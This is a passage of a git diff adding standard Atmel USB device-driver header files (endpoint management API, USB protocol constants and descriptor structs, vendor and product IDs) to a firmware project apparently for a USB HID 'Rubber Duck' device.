mode + usb_dev_qual_desc_t UDC_DESC_STORAGE *qualifier; + //! USB configuration descriptor and UDI API pointers for high speed + udc_config_speed_t UDC_DESC_STORAGE *conf_hs; +#endif +} udc_config_t; + +//! Global variables of USB Device Descriptor and UDI links +extern UDC_DESC_STORAGE udc_config_t udc_config; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_DESC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udd.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udd.h new file mode 100755 index 0000000..b4ac87a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udd.h @@ -0,0 +1,377 @@ +/** + * \file + * + * \brief Common API for USB Device Drivers (UDD) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDD_H_ +#define _UDD_H_ + +#include "usb_protocol.h" +#include "udc_desc.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * The UDD driver provides a low-level abstraction of the device + * controller hardware. Most events coming from the hardware such as + * interrupts, which may cause the UDD to call into the UDC and UDI. + * + * @{ + */ + +//! \brief Endpoint identifier +typedef uint8_t udd_ep_id_t; + +//! \brief Endpoint transfer status +//! Returned in parameters of callback register via udd_ep_run routine. +typedef enum { + UDD_EP_TRANSFER_OK = 0, + UDD_EP_TRANSFER_ABORT = 1, +} udd_ep_status_t; + +/** + * \brief A USB Device SETUP request + * + * SETUP packet contains following information. + */ +COMPILER_PACK_SET(1); +typedef struct { + uint8_t bmRequestType; + uint8_t bRequest; + uint16_t wValue; + uint16_t wIndex; + uint16_t wLength; +} udd_setup_req_t; +COMPILER_PACK_RESET(); + +/** + * \brief Global variable to give and record information of the setup request management + * + * This global variable allows to decode and response a setup request. + * It can be updated by udc_process_setup() from UDC or *setup() from UDIs. + */ +typedef struct { + udd_setup_req_t req; //!< Data received in USB SETUP packet + uint8_t *payload; //!< Point to buffer to send or fill with data following SETUP packet + uint16_t payload_size; //!< Size of buffer to send or fill, and content the number of byte transfered + //! when the calbbacks "callback/over_under_run" are called. + void (*callback) (void); //!< Callback called after reception of ZLP from setup request + bool(*over_under_run) (void); //!< Callback called when the buffer given (.payload) is full or empty. + //! This one return false to abort data transfer, or true with a new buffer in .payload. +} udd_ctrl_request_t; +extern udd_ctrl_request_t udd_g_ctrlreq; + +//! Return true if the setup request \a udd_g_ctrlreq indicates IN data transfer +#define Udd_setup_is_in() \ + (USB_REQ_DIR_IN == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) +//! Return true if the setup request \a udd_g_ctrlreq indicates OUT data transfer +#define Udd_setup_is_out() \ + (USB_REQ_DIR_OUT == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) +//! Return the type of the SETUP request \a udd_g_ctrlreq. \see usb_reqtype. +#define Udd_setup_type() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_TYPE_MASK) +//! Return the recipient of the SETUP request \a udd_g_ctrlreq. \see usb_recipient +#define Udd_setup_recipient() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_RECIP_MASK) + +/** + * \brief End of halt callback function type. + * Registered by routine udd_ep_wait_stall_clear() + * Callback called when endpoint stall is cleared. + */ +typedef void (*udd_callback_halt_cleared_t) (void); + +/** + * \brief End of transfer callback function type. + * Registered by routine udd_ep_run() + * Callback called by USB interrupt after data transfer or abort (reset,...). + * + * \param status UDD_EP_TRANSFER_OK, if transfer is complete + * \param status UDD_EP_TRANSFER_ABORT, if transfer is aborted + * \param n number of data transfered + */ +typedef void (*udd_callback_trans_t) (udd_ep_status_t status, + iram_size_t nb_transfered); + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + */ +bool udd_include_vbus_monitoring(void); + +/** + * \brief Enables the USB Device mode + */ +void udd_enable(void); + +/** + * \brief Disables the USB Device mode + */ +void udd_disable(void); + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +void udd_attach(void); + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +void udd_detach(void); + +/** + * \brief Test whether the USB Device Controller is running at high + * speed or not. + * + * \return \c true if the Device is running at high speed mode, otherwise \c false. + */ +bool udd_is_high_speed(void); + +/** + * \brief Changes the USB address of device + * + * \param address New USB address + */ +void udd_set_address(uint8_t address); + +/** + * \brief Returns the USB address of device + * + * \return USB address + */ +uint8_t udd_getaddress(void); + +/** + * \brief Returns the current start of frame number + * + * \return current start of frame number. + */ +uint16_t udd_get_frame_number(void); + +/*! \brief The USB driver sends a resume signal called Upstream Resume + */ +void udd_send_wake_up(void); + +/** + * \brief Load setup payload + * + * \param payload Pointer on payload + * \param payload_size Size of payload + */ +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ); + + +/** + * \name Endpoint Management + * + * The following functions allow drivers to create and remove + * endpoints, as well as set, clear and query their "halted" and + * "wedged" states. + */ +//@{ + +#if (0!=USB_DEVICE_MAX_EP) + +/** + * \brief Configures and enables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + * \param bmAttributes Attributes of endpoint declared in the descriptor. + * \param MaxEndpointSize Endpoint maximum size + * + * \return \c 1 if the endpoint is enabled, otherwise \c 0. + */ +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize); + +/** + * \brief Disables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + */ +void udd_ep_free(udd_ep_id_t ep); + +/** + * \brief Check if the endpoint \a ep is halted. + * + * \param ep The ID of the endpoint to check. + * + * \return \c 1 if \a ep is halted, otherwise \c 0. + */ +bool udd_ep_is_halted(udd_ep_id_t ep); + +/** + * \brief Set the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will result + * in a STALL handshake being sent. Any pending transactions will be + * performed first, however. + * + * \param ep The ID of the endpoint to be halted + * + * \return \c 1 if \a ep is halted, otherwise \c 0. + */ +bool udd_ep_set_halt(udd_ep_id_t ep); + +/** + * \brief Clear the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will + * be handled normally, i.e. a STALL handshake will not be sent, and + * the data toggle sequence will start at DATA0. + * + * \param ep The ID of the endpoint to be un-halted + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_clear_halt(udd_ep_id_t ep); + +/** + * \brief Registers a callback to call when endpoint halt is cleared + * + * \param ep The ID of the endpoint to use + * \param callback NULL or function to call when endpoint halt is cleared + * + * \warning if the endpoint is not halted then the \a callback is called immediately. + * + * \return \c 1 if the register is accepted, otherwise \c 0. + */ +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback); + +/** + * \brief Allows to receive or send data on an endpoint + * + * The driver uses a specific DMA USB to transfer data + * from internal RAM to endpoint, if this one is available. + * When the transfer is finished or aborted (stall, reset, ...), the \a callback is called. + * The \a callback returns the transfer status and eventually the number of byte transfered. + * + * \param ep The ID of the endpoint to use + * \param b_shortpacket Enabled automatic short packet + * \param buf Buffer on Internal RAM to send or fill. + * It must be align, then use COMPILER_WORD_ALIGNED. + * \param buf_size Buffer size to send or fill + * \param callback NULL or function to call at the end of transfer + * + * \warning About \a b_shortpacket, for IN endpoint it means that a short packet + * (or a Zero Length Packet) will be sent to the USB line to properly close the usb + * transfer at the end of the data transfer. + * For Bulk and Interrupt OUT endpoint, it will automatically stop the transfer + * at the end of the data transfer (received short packet). + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback); +/** + * \brief Aborts transfer on going on endpoint + * + * If a transfer is on going, then it is stopped and the callback registered is called to signal the end of transfer. + * + * \param ep The ID of the endpoint to use + * \param b_shortpacket Enabled automatic short packet + * \param buf Buffer on Internal RAM to send or fill + * \param buf_size Buffer size to send or fill + * \param callback NULL or function to call at the end of transfer + */ +void udd_ep_abort(udd_ep_id_t ep); + +#endif + +//@} + + +/** + * \name High speed test mode management + * + * The following functions allow the device to jump to a specific test mode required in high speed mode. + */ +//@{ +void udd_test_mode_j(void); +void udd_test_mode_k(void); +void udd_test_mode_se0_nak(void); +void udd_test_mode_packet(void); +//@} + + +/** + * \name UDC callbacks to provide for UDD + * + * The following callbacks are used by UDD. + */ +//@{ + +/** + * \brief Decodes and manages a setup request + * + * The driver call it when a SETUP packet is received. + * The \c udd_g_ctrlreq contains the data of SETUP packet. + * If this callback accepts the setup request then it must + * return \c 1 and eventually update \c udd_g_ctrlreq to send or receive data. + * + * \return \c 1 if the request is accepted, otherwise \c 0. + */ +extern bool udc_process_setup(void); + +/** + * \brief Reset the UDC + * + * The UDC must reset all configuration. + */ +extern void udc_reset(void); + +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udi.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udi.h new file mode 100755 index 0000000..4401c25 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udi.h @@ -0,0 +1,117 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_H_ +#define _UDI_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udi_group USB Device Interface (UDI) + * The UDI provides a common API for all classes, + * and this is used by UDC for the main control of USB Device interface. + * @{ + */ + +/** + * \brief UDI API. + * + * The callbacks within this structure are called only by + * USB Device Controller (UDC) + * + * The udc_get_interface_desc() can be use by UDI to know the interface descriptor + * selected by UDC. + */ +typedef struct { + /** + * \brief Enable the interface. + * + * This function is called when the host selects a configuration + * to which this interface belongs through a Set Configuration + * request, and when the host selects an alternate setting of + * this interface through a Set Interface request. + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ + bool(*enable) (void); + /** + * \brief Disable the interface. + * + * This function is called when this interface is currently + * active, and + * - the host selects any configuration through a Set + * Configuration request, or + * - the host issues a USB reset, or + * - the device is detached from the host (i.e. Vbus is no + * longer present) + */ + void (*disable) (void); + /** + * \brief Handle a control request directed at an interface. + * + * This function is called when this interface is currently + * active and the host sends a SETUP request + * with this interface as the recipient. + * + * Use udd_g_ctrlreq to decode and response to SETUP request. + * + * \return \c 1 if this interface supports the SETUP request, otherwise \c 0. + */ + bool(*setup) (void); + /** + * \brief Returns the current setting of the selected interface. + * + * This function is called when UDC when know alternate setting of selected interface. + * + * \return alternate setting of selected interface + */ + uint8_t(*getsetting) (void); +} udi_api_t; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_atmel.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_atmel.h new file mode 100755 index 0000000..4bb310c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_atmel.h @@ -0,0 +1,146 @@ +/** + * \file + * + * \brief All USB VIDs and PIDs from Atmel AVR applications + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_ATMEL_H_ +#define _USB_ATMEL_H_ + +/** + * \defgroup usb_group USB Stack + * + * This stack includes the USB Device Stack, USB Host Stack and common + * definitions. + * @{ + */ + +//! @} + +/** + * \ingroup usb_group + * \defgroup usb_atmel_ids_group Atmel USB Identifiers + * + * This module defines Atmel PID and VIDs constants. + * + * @{ + */ + +//! \name Vendor Identifier assigned by USB org to ATMEL +#define USB_VID_ATMEL 0x03EB + + +//! \name Product Identifier assigned by ATMEL to AVR applications +//! @{ + +//! \name The range from 2000h to 20FFh is reserved to the old PID for C51, MEGA, and others. +//! @{ +#define USB_PID_ATMEL_MEGA_HIDGENERIC 0x2013 +#define USB_PID_ATMEL_MEGA_HIDKEYBOARD 0x2017 +#define USB_PID_ATMEL_MEGA_CDC 0x2018 +#define USB_PID_ATMEL_MEGA_AUDIO_IN 0x2019 +#define USB_PID_ATMEL_MEGA_MS 0x201A +#define USB_PID_ATMEL_MEGA_AUDIO_IN_OUT 0x201B +#define USB_PID_ATMEL_MEGA_HIDMOUSE 0x201C +#define USB_PID_ATMEL_MEGA_HIDMOUSE_CERTIF_U4 0x201D +#define USB_PID_ATMEL_MEGA_CDC_MULTI 0x201E +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_USBKEY 0x2022 +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_STK525 0x2023 +#define USB_PID_ATMEL_MEGA_MS_2 0x2029 +#define USB_PID_ATMEL_MEGA_MS_HIDMS 0x202A +#define USB_PID_ATMEL_MEGA_MS_3 0x2032 +#define USB_PID_ATMEL_MEGA_LIBUSB 0x2050 +//! @} + +//! \name The range 2300h to 23FFh is reserved to PIDs for demo from ASF1.7=> +//! @{ +#define USB_PID_ATMEL_UC3_ENUM 0x2300 +#define USB_PID_ATMEL_UC3_MS 0x2301 +#define USB_PID_ATMEL_UC3_MS_SDRAM_LOADER 0x2302 +#define USB_PID_ATMEL_UC3_EVK1100_CTRLPANEL 0x2303 +#define USB_PID_ATMEL_UC3_HID 0x2304 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID 0x2305 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID_MS 0x2306 +#define USB_PID_ATMEL_UC3_CDC 0x2307 +#define USB_PID_ATMEL_UC3_AUDIO_MICRO 0x2308 +#define USB_PID_ATMEL_UC3_CDC_DEBUG 0x2310 // Virtual Com (debug interface) on EVK11xx +#define USB_PID_ATMEL_UC3_AUDIO_SPEAKER_MICRO 0x2311 +#define USB_PID_ATMEL_UC3_CDC_MSC 0x2312 +//! @} + +//! \name The range 2400h to 24FFh is reserved to PIDs for common AVR demos from ASF2.0<= +//! @{ +#define USB_PID_ATMEL_AVR_HIDMOUSE 0x2400 +#define USB_PID_ATMEL_AVR_HIDKEYBOARD 0x2401 +#define USB_PID_ATMEL_AVR_HIDGENERIC 0x2402 +#define USB_PID_ATMEL_AVR_MSC 0x2403 +#define USB_PID_ATMEL_AVR_CDC 0x2404 +#define USB_PID_ATMEL_AVR_PHDC 0x2405 +#define USB_PID_ATMEL_AVR_MSC_HIDMOUSE 0x2420 +#define USB_PID_ATMEL_AVR_MSC_HIDS_CDC 0x2421 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_POWERONLY 0x2430 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TERMINAL 0x2431 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TOUCH 0x2432 +#define USB_PID_ATMEL_AVR_AUDIO_SPEAKER 0x2433 +//! @} + +//! \name The range 2F00h to 2FFFh is reserved to official PIDs for AVR bootloaders +//! Note, !!!! don't use this range for demos or examples !!!! +//! @{ +#define USB_PID_ATMEL_DFU_ATUC3D 0x2FE9 +#define USB_PID_ATMEL_DFU_AT32UC3C 0x2FEB +#define USB_PID_ATMEL_DFU_ATMEGA8U2 0x2FEE +#define USB_PID_ATMEL_DFU_ATMEGA16U2 0x2FEF +#define USB_PID_ATMEL_DFU_ATMEGA32U2 0x2FF0 +#define USB_PID_ATMEL_DFU_AT32UC3A3 0x2FF1 +#define USB_PID_ATMEL_DFU_ATMEGA32U6 0x2FF2 +#define USB_PID_ATMEL_DFU_ATMEGA16U4 0x2FF3 +#define USB_PID_ATMEL_DFU_ATMEGA32U4 0x2FF4 +#define USB_PID_ATMEL_DFU_AT32AP7200 0x2FF5 +#define USB_PID_ATMEL_DFU_AT32UC3B 0x2FF6 +#define USB_PID_ATMEL_DFU_AT90USB82 0x2FF7 +#define USB_PID_ATMEL_DFU_AT32UC3A 0x2FF8 +#define USB_PID_ATMEL_DFU_AT90USB64 0x2FF9 +#define USB_PID_ATMEL_DFU_AT90USB162 0x2FFA +#define USB_PID_ATMEL_DFU_AT90USB128 0x2FFB +// 2FFCh to 2FFFh used by C51 family products +//! @} + +//! @} + +//! @} + + +#endif // _USB_ATMEL_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_protocol.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_protocol.h new file mode 100755 index 0000000..91745bf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_protocol.h @@ -0,0 +1,403 @@ +/** + * \file + * + * \brief USB protocol definitions. + * + * This file contains the USB definitions and data structures provided by the + * USB 2.0 specification. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_PROTOCOL_H_ +#define _USB_PROTOCOL_H_ + +#include "usb_atmel.h" + +/** + * \ingroup usb_group + * \defgroup usb_protocol_group USB Protocol Definitions + * + * This module defines constants and data structures provided by the USB + * 2.0 specification. + * + * @{ + */ + +//! Value for field bcdUSB +#define USB_V2_0 0x0200 //!< USB Specification version 2.00 + +/*! \name Generic definitions (Class, subclass and protocol) + */ +//! @{ +#define NO_CLASS 0x00 +#define NO_SUBCLASS 0x00 +#define NO_PROTOCOL 0x00 +//! @} + +//! \name IAD (Interface Association Descriptor) constants +//! @{ +#define CLASS_IAD 0xEF +#define SUB_CLASS_IAD 0x02 +#define PROTOCOL_IAD 0x01 +//! @} + +//! \name Apple VID & PID for host application +//! @{ +#define USB_VID_APPLE 0x05AC +#define USB_PID_IPOD 0x1200 +#define USB_PID_IPOD_SHUFFLE 0x1300 +//! @} + +/** + * \brief USB request data transfer direction (bmRequestType) + */ +#define USB_REQ_DIR_OUT (0<<7) //!< Host to device +#define USB_REQ_DIR_IN (1<<7) //!< Device to host +#define USB_REQ_DIR_MASK (1<<7) //!< Mask + +/** + * \brief USB request types (bmRequestType) + */ +#define USB_REQ_TYPE_STANDARD (0<<5) //!< Standard request +#define USB_REQ_TYPE_CLASS (1<<5) //!< Class-specific request +#define USB_REQ_TYPE_VENDOR (2<<5) //!< Vendor-specific request +#define USB_REQ_TYPE_MASK (3<<5) //!< Mask + +/** + * \brief USB recipient codes (bmRequestType) + */ +#define USB_REQ_RECIP_DEVICE (0<<0) //!< Recipient device +#define USB_REQ_RECIP_INTERFACE (1<<0) //!< Recipient interface +#define USB_REQ_RECIP_ENDPOINT (2<<0) //!< Recipient endpoint +#define USB_REQ_RECIP_OTHER (3<<0) //!< Recipient other +#define USB_REQ_RECIP_MASK (0x1F) //!< Mask + +/** + * \brief Standard USB requests (bRequest) + */ +enum usb_reqid { + USB_REQ_GET_STATUS = 0, + USB_REQ_CLEAR_FEATURE = 1, + USB_REQ_SET_FEATURE = 3, + USB_REQ_SET_ADDRESS = 5, + USB_REQ_GET_DESCRIPTOR = 6, + USB_REQ_SET_DESCRIPTOR = 7, + USB_REQ_GET_CONFIGURATION = 8, + USB_REQ_SET_CONFIGURATION = 9, + USB_REQ_GET_INTERFACE = 10, + USB_REQ_SET_INTERFACE = 11, + USB_REQ_SYNCH_FRAME = 12, +}; + +/** + * \brief Standard USB device status flags + * + */ +enum usb_device_status { + USB_DEV_STATUS_BUS_POWERED = 0, + USB_DEV_STATUS_SELF_POWERED = 1, + USB_DEV_STATUS_REMOTEWAKEUP = 2 +}; + +/** + * \brief Standard USB Interface status flags + * + */ +enum usb_interface_status { + USB_IFACE_STATUS_RESERVED = 0 +}; + +/** + * \brief Standard USB endpoint status flags + * + */ +enum usb_endpoint_status { + USB_EP_STATUS_HALTED = 1, +}; + +/** + * \brief Standard USB device feature flags + * + * \note valid for SetFeature request. + */ +enum usb_device_feature { + USB_DEV_FEATURE_REMOTE_WAKEUP = 1, //!< Remote wakeup enabled + USB_DEV_FEATURE_TEST_MODE = 2, //!< USB test mode + USB_DEV_FEATURE_OTG_B_HNP_ENABLE = 3, + USB_DEV_FEATURE_OTG_A_HNP_SUPPORT = 4, + USB_DEV_FEATURE_OTG_A_ALT_HNP_SUPPORT = 5 +}; + +/** + * \brief Test Mode possible on HS USB device + * + * \note valid for USB_DEV_FEATURE_TEST_MODE request. + */ +enum usb_device_hs_test_mode { + USB_DEV_TEST_MODE_J = 1, + USB_DEV_TEST_MODE_K = 2, + USB_DEV_TEST_MODE_SE0_NAK = 3, + USB_DEV_TEST_MODE_PACKET = 4, + USB_DEV_TEST_MODE_FORCE_ENABLE = 5, +}; + +/** + * \brief Standard USB endpoint feature/status flags + */ +enum usb_endpoint_feature { + USB_EP_FEATURE_HALT = 0, +}; + +/** + * \brief Standard USB Test Mode Selectors + */ +enum usb_test_mode_selector { + USB_TEST_J = 0x01, + USB_TEST_K = 0x02, + USB_TEST_SE0_NAK = 0x03, + USB_TEST_PACKET = 0x04, + USB_TEST_FORCE_ENABLE = 0x05, +}; + +/** + * \brief Standard USB descriptor types + */ +enum usb_descriptor_type { + USB_DT_DEVICE = 1, + USB_DT_CONFIGURATION = 2, + USB_DT_STRING = 3, + USB_DT_INTERFACE = 4, + USB_DT_ENDPOINT = 5, + USB_DT_DEVICE_QUALIFIER = 6, + USB_DT_OTHER_SPEED_CONFIGURATION = 7, + USB_DT_INTERFACE_POWER = 8, + USB_DT_OTG = 9, + USB_DT_IAD = 0x0B, +}; + +/** + * \brief Standard USB endpoint transfer types + */ +enum usb_ep_type { + USB_EP_TYPE_CONTROL = 0x00, + USB_EP_TYPE_ISOCHRONOUS = 0x01, + USB_EP_TYPE_BULK = 0x02, + USB_EP_TYPE_INTERRUPT = 0x03, + USB_EP_TYPE_MASK = 0x03, +}; + +/** + * \brief Standard USB language IDs for string descriptors + */ +enum usb_langid { + USB_LANGID_EN_US = 0x0409, //!< English (United States) +}; + +/** + * \brief Mask selecting the index part of an endpoint address + */ +#define USB_EP_ADDR_MASK 0x0f +/** + * \brief Endpoint transfer direction is IN + */ +#define USB_EP_DIR_IN 0x80 +/** + * \brief Endpoint transfer direction is OUT + */ +#define USB_EP_DIR_OUT 0x00 + +/** + * \brief Maximum length in bytes of a USB descriptor + * + * The maximum length of a USB descriptor is limited by the 8-bit + * bLength field. + */ +#define USB_MAX_DESC_LEN 255 + +/* + * 2-byte alignment requested for all USB structures. + */ +COMPILER_PACK_SET(1); + +/** + * \brief A USB Device SETUP request + * + * The data payload of SETUP packets always follows this structure. + */ +typedef struct { + uint8_t bmRequestType; + uint8_t bRequest; + le16_t wValue; + le16_t wIndex; + le16_t wLength; +} usb_setup_req_t; + +/** + * \brief Standard USB device descriptor stucture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + le16_t idVendor; + le16_t idProduct; + le16_t bcdDevice; + uint8_t iManufacturer; + uint8_t iProduct; + uint8_t iSerialNumber; + uint8_t bNumConfigurations; +} usb_dev_desc_t; + +/** + * \brief Standard USB device qualifier descriptor structure + * + * This descriptor contains information about the device when running at + * the "other" speed (i.e. if the device is currently operating at high + * speed, this descriptor can be used to determine what would change if + * the device was operating at full speed.) + */ +typedef struct { + uint8_t bLength; + uint8_t 